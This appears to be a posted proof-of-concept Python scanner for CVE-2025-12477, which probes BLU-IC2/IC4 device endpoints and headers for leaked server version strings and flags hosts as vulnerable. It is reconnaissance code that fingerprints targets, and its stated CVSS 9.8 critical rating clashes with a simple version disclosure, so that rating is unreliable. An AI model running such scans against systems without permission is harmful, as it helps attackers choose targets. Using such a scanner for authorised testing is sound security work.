CVE-2025-12477 BLU-IC2/IC4 服务器版本泄露漏洞

# CVE-2025-12477 Server Version Disclosure PoC # Target: BLU-IC2 and BLU-IC4 devices # CVSS: 9.8 (CRITICAL) import requests import sys import re def check_version_disclosure(target_url): """ Check if the target server discloses version information """ endpoints = ['/', '/admin', '/api', '/status', '/info', '/version', '/api/v1/info'] print(f"[*] Scanning target: {target_url}") print(f"[*] CVE-2025-12477: Server Version Disclosure\n") version_patterns = [ r'version[:\s]*([0-9]+\.[0-9]+\.[0-9]+)', r'BLU-IC[24][:\s]*([0-9]+\.[0-9]+\.[0-9]+)', r'server[:\s]*([0-9]+\.[0-9]+\.[0-9]+)', r'Build[:\s]*([0-9]+)', ] found_versions = [] for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint response = requests.get(url, timeout=10, verify=False) # Check HTTP headers headers_to_check = ['Server', 'X-Powered-By', 'X-Version', 'X-Build'] for header in headers_to_check: if header in response.headers: version_info = f"Header [{header}]: {response.headers[header]}" if version_info not in found_versions: found_versions.append(version_info) print(f"[+] {version_info}") # Check response body for pattern in version_patterns: matches = re.findall(pattern, response.text, re.IGNORECASE) for match in matches: version_info = f"Body Version: {match}" if version_info not in found_versions: found_versions.append(version_info) print(f"[+] {version_info}") except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") if found_versions: print(f"\n[!] VULNERABLE: Server version information disclosed") print(f"[!] Affected: BLU-IC2/IC4 <= 1.19.5") print(f"[!] Recommendation: Upgrade to latest version") return True else: print(f"\n[-] No version disclosure detected") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100:8080") sys.exit(1) check_version_disclosure(sys.argv[1])